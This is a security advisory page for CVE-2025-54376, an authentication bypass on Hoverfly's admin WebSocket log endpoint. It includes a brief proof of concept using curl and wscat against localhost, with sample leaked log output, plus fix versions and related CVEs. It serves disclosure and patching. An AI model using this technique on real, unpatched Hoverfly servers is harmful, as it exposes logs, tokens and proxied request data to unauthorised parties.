CVE-2025-54376: WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled
Summary Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can: - Stream real-time application logs (information disclosure). - Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs. PoC 1.
Published Sep 10, 2025 · Updated Sep 24, 2025
Affected packages
github.com/SpectoLabs/hoverfly
- Ecosystem
- Go
- Affected
- < 1.12.0
- Fixed in
- 1.12.0
- Check
go list -m github.com/SpectoLabs/hoverfly
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can:
- Stream real-time application logs (information disclosure).
- Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs.
PoC
- Start Hoverfly with authentication enabled:
./hoverfly -auth- Confirm REST API requires credentials:
curl -i http://localhost:8888/api/v2/hoverfly/version- Connect to the WebSocket endpoint without credentials:
wscat -c ws://localhost:8888/api/v2/ws/logs
# Connected (press CTRL+C to quit)
# … logs stream immediately … (You would need to send a message to start receiving stream)wscat -c ws://localhost:8888/api/v2/ws/logs
Connected (press CTRL+C to quit)
> hi!
< {"logs":[{"level":"info","msg":"Log level set to verbose","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"Using memory backend","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"User added successfully","time":"2025-07-20T17:07:00+05:30","username":""},{"level":"info","msg":"Enabling proxy authentication","time":"2025-07-20T17:07:00+05:30"},{"Destination":".","Mode":"simulate","ProxyPort":"8500","level":"info","msg":"Proxy prepared...","time":"2025-07-20T17:07:00+05:30"},{"destination":".","level":"info","mode":"simulate","msg":"current proxy configuration","port":"8500","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"serving proxy","time":"2025-07-20T17:07:00+05:30"},{"AdminPort":"8888","level":"info","msg":"Admin interface is starting...","time":"2025-07-20T17:07:00+05:30"},{"level":"debug","message":"hi!","msg":"Got message...","time":"2025-07-20T17:09:04+05:30"}]}
< ...
< ...Impact
Authentication bypass; an attacker receives full application logs, including proxied request/response bodies, tokens, file paths, etc.
Credited to Kr1shna4garwal.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-50013
Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode
high7.5Jul 14, 2026CVE-2026-50018
Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions
medium6.5Jul 14, 2026CVE-2025-54123
Hoverfly is vulnerable to Remote Code Execution through an insecure middleware implementation
critical9.8No fixSep 10, 2025
